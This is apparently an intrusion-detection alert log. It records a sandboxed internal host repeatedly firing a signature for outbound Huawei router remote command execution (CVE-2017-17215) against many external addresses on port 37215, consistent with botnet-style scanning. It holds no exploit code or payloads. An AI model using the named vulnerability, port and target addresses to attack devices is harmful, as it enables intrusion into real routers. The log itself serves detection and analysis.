2024-12-30T11:58:37.385684+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59880	41.19.142.244	37215	TCP
2024-12-30T11:58:37.385699+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53818	156.63.212.134	37215	TCP
2024-12-30T11:58:37.385699+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39680	156.134.20.212	37215	TCP
2024-12-30T11:58:37.386841+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55254	197.185.106.187	37215	TCP
2024-12-30T11:58:37.416685+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55486	41.175.235.107	37215	TCP
2024-12-30T11:58:37.418443+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54496	197.244.197.40	37215	TCP
2024-12-30T11:58:37.432954+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54324	41.158.69.235	37215	TCP
2024-12-30T11:58:37.434350+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34640	156.31.225.230	37215	TCP
2024-12-30T11:58:37.449246+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51174	197.216.50.210	37215	TCP
2024-12-30T11:58:37.480087+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34296	156.0.77.16	37215	TCP
2024-12-30T11:58:38.137412+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41244	156.228.170.224	37215	TCP
2024-12-30T11:58:38.401441+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33000	197.167.74.236	37215	TCP
2024-12-30T11:58:38.402549+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50484	41.253.157.56	37215	TCP
2024-12-30T11:58:38.416698+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36950	197.133.23.8	37215	TCP
2024-12-30T11:58:38.416704+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36236	197.213.6.201	37215	TCP
2024-12-30T11:58:38.416704+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35160	41.82.164.24	37215	TCP
2024-12-30T11:58:38.416801+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49308	41.54.241.43	37215	TCP
2024-12-30T11:58:38.416838+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35466	41.196.183.126	37215	TCP
2024-12-30T11:58:38.416929+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60480	197.131.92.40	37215	TCP
2024-12-30T11:58:38.416994+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49608	197.181.210.215	37215	TCP
2024-12-30T11:58:38.417053+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47842	41.112.222.7	37215	TCP
2024-12-30T11:58:38.417340+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37342	197.158.93.77	37215	TCP
2024-12-30T11:58:38.417414+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48632	41.14.243.203	37215	TCP
2024-12-30T11:58:38.417530+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57868	41.143.121.147	37215	TCP
2024-12-30T11:58:38.418172+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51314	156.240.222.4	37215	TCP
2024-12-30T11:58:38.418471+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47088	197.211.237.26	37215	TCP
2024-12-30T11:58:38.418651+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60788	41.90.32.240	37215	TCP
2024-12-30T11:58:38.418688+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39902	197.188.207.108	37215	TCP
2024-12-30T11:58:38.418836+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48144	41.83.14.191	37215	TCP
2024-12-30T11:58:38.418836+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60370	156.215.234.177	37215	TCP
2024-12-30T11:58:38.418947+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35706	197.74.34.114	37215	TCP
2024-12-30T11:58:38.419030+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	32854	156.121.201.145	37215	TCP
2024-12-30T11:58:38.419118+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58472	41.134.236.240	37215	TCP
2024-12-30T11:58:38.419289+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36170	156.18.212.206	37215	TCP
2024-12-30T11:58:38.420656+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51756	41.28.36.75	37215	TCP
2024-12-30T11:58:38.420699+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58268	156.202.34.48	37215	TCP
2024-12-30T11:58:38.420778+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55160	197.40.103.55	37215	TCP
2024-12-30T11:58:38.420846+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47210	156.209.232.60	37215	TCP
2024-12-30T11:58:38.421286+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53748	41.9.230.10	37215	TCP
2024-12-30T11:58:38.422266+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43246	156.149.76.222	37215	TCP
2024-12-30T11:58:38.423029+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43834	197.240.42.136	37215	TCP
2024-12-30T11:58:38.436152+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37774	41.24.62.196	37215	TCP
2024-12-30T11:58:38.436287+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47258	197.93.230.143	37215	TCP
2024-12-30T11:58:38.437718+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51932	156.74.171.147	37215	TCP
2024-12-30T11:58:38.437813+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51166	156.118.23.20	37215	TCP
2024-12-30T11:58:38.437883+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41948	41.71.20.238	37215	TCP
2024-12-30T11:58:38.437939+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55694	41.5.56.42	37215	TCP
2024-12-30T11:58:38.438015+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33626	41.142.156.141	37215	TCP
2024-12-30T11:58:38.482124+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50030	41.202.94.4	37215	TCP
2024-12-30T11:58:38.634927+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51866	156.130.162.245	37215	TCP
2024-12-30T11:58:38.634928+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58364	41.244.87.60	37215	TCP
2024-12-30T11:58:38.651035+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48940	197.42.161.237	37215	TCP
2024-12-30T11:58:38.651053+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41914	197.82.222.171	37215	TCP
2024-12-30T11:58:38.652652+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50940	41.224.109.92	37215	TCP
2024-12-30T11:58:38.652667+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33348	41.219.67.69	37215	TCP
2024-12-30T11:58:38.682540+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35764	156.21.236.254	37215	TCP
2024-12-30T11:58:38.688483+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35870	197.178.15.159	37215	TCP
2024-12-30T11:58:39.453783+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50912	41.160.145.203	37215	TCP
2024-12-30T11:58:39.481019+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34862	156.159.161.64	37215	TCP
2024-12-30T11:58:39.481031+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35520	156.50.40.162	37215	TCP
2024-12-30T11:58:39.498565+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54318	197.216.247.46	37215	TCP
2024-12-30T11:58:39.516110+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60336	41.216.116.146	37215	TCP
2024-12-30T11:58:39.527748+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36396	197.116.186.124	37215	TCP
2024-12-30T11:58:39.529624+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42470	156.135.67.213	37215	TCP
2024-12-30T11:58:40.525614+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59906	41.60.140.142	37215	TCP
2024-12-30T11:58:40.526562+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34660	156.197.57.163	37215	TCP
2024-12-30T11:58:40.527558+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58382	197.2.38.14	37215	TCP
2024-12-30T11:58:40.529769+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39036	197.194.136.42	37215	TCP
2024-12-30T11:58:41.158634+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40480	156.253.150.10	37215	TCP
2024-12-30T11:58:41.197559+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37564	156.224.11.50	37215	TCP
2024-12-30T11:58:41.476364+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52760	156.231.148.144	37215	TCP
2024-12-30T11:58:41.494932+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55752	41.54.98.187	37215	TCP
2024-12-30T11:58:41.494932+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38866	197.60.117.93	37215	TCP
2024-12-30T11:58:41.494980+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58402	197.140.70.84	37215	TCP
2024-12-30T11:58:41.495020+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35004	156.61.233.21	37215	TCP
2024-12-30T11:58:41.495028+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38220	197.10.58.74	37215	TCP
2024-12-30T11:58:41.495029+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46918	156.155.161.7	37215	TCP
2024-12-30T11:58:41.495386+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55290	197.239.236.224	37215	TCP
2024-12-30T11:58:41.496486+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56526	156.154.29.108	37215	TCP
2024-12-30T11:58:41.496623+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36860	197.57.252.245	37215	TCP
2024-12-30T11:58:41.498515+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41784	41.54.121.171	37215	TCP
2024-12-30T11:58:41.498946+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58188	197.77.224.158	37215	TCP
2024-12-30T11:58:41.510287+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48810	156.0.82.119	37215	TCP
2024-12-30T11:58:41.510299+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39210	156.224.254.168	37215	TCP
2024-12-30T11:58:41.510378+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59692	156.58.99.38	37215	TCP
2024-12-30T11:58:41.510440+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36664	41.248.46.233	37215	TCP
2024-12-30T11:58:41.510640+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47304	41.4.255.173	37215	TCP
2024-12-30T11:58:41.510904+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55334	41.131.59.7	37215	TCP
2024-12-30T11:58:41.512059+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34298	156.24.45.252	37215	TCP
2024-12-30T11:58:41.512120+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53060	41.180.9.3	37215	TCP
2024-12-30T11:58:41.512628+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50296	41.0.71.233	37215	TCP
2024-12-30T11:58:41.516112+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47192	41.85.96.113	37215	TCP
2024-12-30T11:58:41.516124+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35056	156.49.99.121	37215	TCP
2024-12-30T11:58:41.516262+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49368	156.234.140.85	37215	TCP
2024-12-30T11:58:41.541965+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47242	197.182.175.117	37215	TCP
2024-12-30T11:58:41.541966+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43828	41.19.215.50	37215	TCP
2024-12-30T11:58:41.547197+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59814	41.106.6.96	37215	TCP
2024-12-30T11:58:42.270830+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54146	41.71.167.228	37215	TCP
2024-12-30T11:58:42.494383+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52386	156.122.132.254	37215	TCP
2024-12-30T11:58:42.509990+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34820	197.117.153.92	37215	TCP
2024-12-30T11:58:42.509991+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42142	156.123.135.9	37215	TCP
2024-12-30T11:58:42.510071+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42726	156.139.14.80	37215	TCP
2024-12-30T11:58:42.510273+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57634	41.140.96.91	37215	TCP
2024-12-30T11:58:42.510413+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48690	156.122.243.24	37215	TCP
2024-12-30T11:58:42.510442+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39138	41.131.193.67	37215	TCP
2024-12-30T11:58:42.510516+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48808	41.61.112.248	37215	TCP
2024-12-30T11:58:42.510611+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59476	197.66.143.207	37215	TCP
2024-12-30T11:58:42.510681+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42766	156.100.235.44	37215	TCP
2024-12-30T11:58:42.511061+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59688	41.21.34.204	37215	TCP
2024-12-30T11:58:42.511061+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50506	41.132.132.18	37215	TCP
2024-12-30T11:58:42.511140+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39820	156.234.51.240	37215	TCP
2024-12-30T11:58:42.511333+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58402	156.75.113.23	37215	TCP
2024-12-30T11:58:42.511678+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45094	41.83.251.254	37215	TCP
2024-12-30T11:58:42.511689+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49992	41.120.48.84	37215	TCP
2024-12-30T11:58:42.512039+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47114	41.111.55.230	37215	TCP
2024-12-30T11:58:42.512058+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43046	156.38.77.12	37215	TCP
2024-12-30T11:58:42.512396+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43954	41.64.242.175	37215	TCP
2024-12-30T11:58:42.512484+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60374	197.97.131.117	37215	TCP
2024-12-30T11:58:42.512952+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48552	197.149.70.174	37215	TCP
2024-12-30T11:58:42.512970+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44848	197.84.80.28	37215	TCP
2024-12-30T11:58:42.514117+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33256	41.225.143.166	37215	TCP
2024-12-30T11:58:42.525646+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49762	156.145.117.203	37215	TCP
2024-12-30T11:58:42.525840+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47912	197.25.124.224	37215	TCP
2024-12-30T11:58:42.526677+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33048	41.213.47.41	37215	TCP
2024-12-30T11:58:42.526909+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52614	156.139.73.124	37215	TCP
2024-12-30T11:58:42.527771+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44448	156.31.208.162	37215	TCP
2024-12-30T11:58:42.527851+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54358	41.113.225.194	37215	TCP
2024-12-30T11:58:42.529775+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55882	197.191.143.51	37215	TCP
2024-12-30T11:58:42.529797+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50154	156.244.7.50	37215	TCP
2024-12-30T11:58:42.529838+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46400	197.207.214.210	37215	TCP
2024-12-30T11:58:42.530040+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36400	41.248.124.227	37215	TCP
2024-12-30T11:58:42.530130+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52788	197.177.96.18	37215	TCP
2024-12-30T11:58:42.530250+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34800	41.50.160.205	37215	TCP
2024-12-30T11:58:42.530344+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44662	156.8.114.88	37215	TCP
2024-12-30T11:58:42.531543+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53838	41.24.180.14	37215	TCP
2024-12-30T11:58:42.531553+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60172	41.85.155.234	37215	TCP
2024-12-30T11:58:42.588778+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60404	156.146.206.64	37215	TCP
2024-12-30T11:58:42.686823+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37088	156.253.83.65	37215	TCP
2024-12-30T11:58:42.738130+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57446	197.232.90.163	37215	TCP
2024-12-30T11:58:43.224559+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47840	41.223.55.11	37215	TCP
2024-12-30T11:58:43.526383+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48402	41.103.149.191	37215	TCP
2024-12-30T11:58:43.557501+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37048	197.54.101.171	37215	TCP
2024-12-30T11:58:43.557503+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49076	41.86.190.212	37215	TCP
2024-12-30T11:58:43.557547+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34086	41.165.83.64	37215	TCP
2024-12-30T11:58:43.557702+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40090	197.58.186.235	37215	TCP
2024-12-30T11:58:43.557705+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47998	41.231.27.129	37215	TCP
2024-12-30T11:58:43.557759+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39656	156.77.94.69	37215	TCP
2024-12-30T11:58:43.557866+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40334	41.210.160.149	37215	TCP
2024-12-30T11:58:43.557919+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34560	197.235.180.81	37215	TCP
2024-12-30T11:58:43.557961+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44100	41.134.233.79	37215	TCP
2024-12-30T11:58:43.558069+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41738	41.148.146.172	37215	TCP
2024-12-30T11:58:43.558127+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57096	41.89.172.123	37215	TCP
2024-12-30T11:58:43.558261+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41078	197.55.169.136	37215	TCP
2024-12-30T11:58:43.558268+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53442	197.236.38.125	37215	TCP
2024-12-30T11:58:43.558359+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36834	197.192.111.249	37215	TCP
2024-12-30T11:58:43.558394+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45896	41.66.194.59	37215	TCP
2024-12-30T11:58:43.558825+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58592	41.225.31.136	37215	TCP
2024-12-30T11:58:43.558954+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48740	41.206.143.36	37215	TCP
2024-12-30T11:58:43.559153+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42276	156.253.170.144	37215	TCP
2024-12-30T11:58:43.559466+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47800	197.34.17.251	37215	TCP
2024-12-30T11:58:43.559583+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44094	41.208.132.221	37215	TCP
2024-12-30T11:58:43.561134+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49954	156.105.221.57	37215	TCP
2024-12-30T11:58:43.561189+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50260	41.27.176.202	37215	TCP
